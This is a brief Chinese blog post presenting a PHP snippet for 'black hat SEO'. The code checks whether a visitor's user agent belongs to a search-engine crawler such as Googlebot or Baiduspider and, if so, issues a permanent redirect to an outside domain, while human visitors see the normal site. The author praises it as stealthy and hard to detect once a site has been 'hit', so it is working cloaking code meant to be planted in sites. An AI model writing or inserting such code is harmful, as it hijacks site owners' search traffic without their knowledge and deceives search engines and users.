高端黑帽SEO之判断蜘蛛进行301跳转

<?php
if (preg_match("#(Baiduspider|Googlebot|Sogou web spider|YodaoBot|Sosospider|bingbot|Yahoo! Slurp|MSNBot)#si", $_SERVER['HTTP_USER_AGENT'])) {
    header("HTTP/1.1 301 Moved Permanently");
    header("Location: https://www.2dan.cc/");
    exit;
}
?>

用户访问网站完全正常,搜索引擎蜘蛛 User Agent 就301跳转。这个不得不说很隐蔽,被搞了不容易发现。

标签:301, seo, 跳转

添加新评论